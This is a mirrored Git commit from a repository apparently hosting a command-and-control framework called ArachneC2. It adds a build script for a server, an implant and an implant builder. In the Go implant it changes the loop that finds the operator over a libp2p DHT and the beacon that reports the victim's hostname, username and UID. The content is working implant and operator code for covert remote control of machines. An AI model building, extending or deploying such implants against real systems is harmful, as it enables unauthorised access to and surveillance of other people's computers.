mirror of
https://github.com/portbuster1337/ArachneC2
synced 2026-06-14 08:40:53 +00:00
suppress beacon spam, fix implant name, add build.sh
This commit is contained in:
@@ -0,0 +1,17 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
cd "$(dirname "$0")"
|
||||
|
||||
mkdir -p bin
|
||||
|
||||
echo "Building server..."
|
||||
go build -o bin/server ./server/main.go
|
||||
|
||||
echo "Building implant..."
|
||||
go build -o bin/implant ./implant/main.go
|
||||
|
||||
echo "Building build-implant..."
|
||||
go build -o bin/build-implant ./cmd/build-implant/main.go
|
||||
|
||||
echo "Done. Binaries in ./bin/"
|
||||
+10
-8
@@ -8,6 +8,7 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/libp2p/go-libp2p"
|
||||
@@ -30,6 +31,8 @@ type Agent struct {
|
||||
config AgentConfig
|
||||
ctx context.Context
|
||||
cancel context.CancelFunc
|
||||
connected bool
|
||||
connectedMu sync.Mutex
|
||||
}
|
||||
|
||||
type AgentConfig struct {
|
||||
@@ -165,21 +168,20 @@ func (a *Agent) discoverOperatorLoop(ns string) {
|
||||
continue
|
||||
}
|
||||
|
||||
found := false
|
||||
for pi := range peerCh {
|
||||
if pi.ID == a.node.ID() || len(pi.Addrs) == 0 {
|
||||
continue
|
||||
}
|
||||
found = true
|
||||
log.Printf("[implant] found candidate %s with %d addrs", pi.ID.String(), len(pi.Addrs))
|
||||
if err := a.node.ConnectToPeer(a.ctx, pi); err != nil {
|
||||
log.Printf("[implant] DHT connect to %s: %v", pi.ID.String(), err)
|
||||
continue
|
||||
}
|
||||
log.Printf("[implant] connected to operator via DHT: %s", pi.ID.String())
|
||||
}
|
||||
if !found {
|
||||
log.Printf("[implant] no operator found on DHT yet, retrying...")
|
||||
a.connectedMu.Lock()
|
||||
if !a.connected {
|
||||
a.connected = true
|
||||
log.Printf("[implant] connected to operator via DHT: %s", pi.ID.String())
|
||||
}
|
||||
a.connectedMu.Unlock()
|
||||
}
|
||||
|
||||
select {
|
||||
@@ -208,7 +210,7 @@ func (a *Agent) beaconLoop() {
|
||||
func (a *Agent) sendBeaconRegister() {
|
||||
hostname, _ := os.Hostname()
|
||||
reg := &arachnepb.Register{
|
||||
Name: hostname,
|
||||
Name: os.Getenv("USER"),
|
||||
Hostname: hostname,
|
||||
Username: os.Getenv("USER"),
|
||||
UID: fmt.Sprintf("%d", os.Getuid()),
|
||||
|
||||
@@ -232,7 +232,6 @@ func (o *Operator) handleBeaconRegister(env *arachnepb.Envelope) {
|
||||
existing.Username = reg.Username
|
||||
existing.OS = reg.OS
|
||||
existing.Arch = reg.Arch
|
||||
log.Printf("[operator] beacon update from %s@%s (%s)", reg.Name, reg.Hostname, peerID)
|
||||
} else {
|
||||
o.implants[peerID] = rec
|
||||
log.Printf("[operator] new implant registered: %s@%s [%s/%s] peer=%s",
|
||||
|
||||
Reference in New Issue
Block a user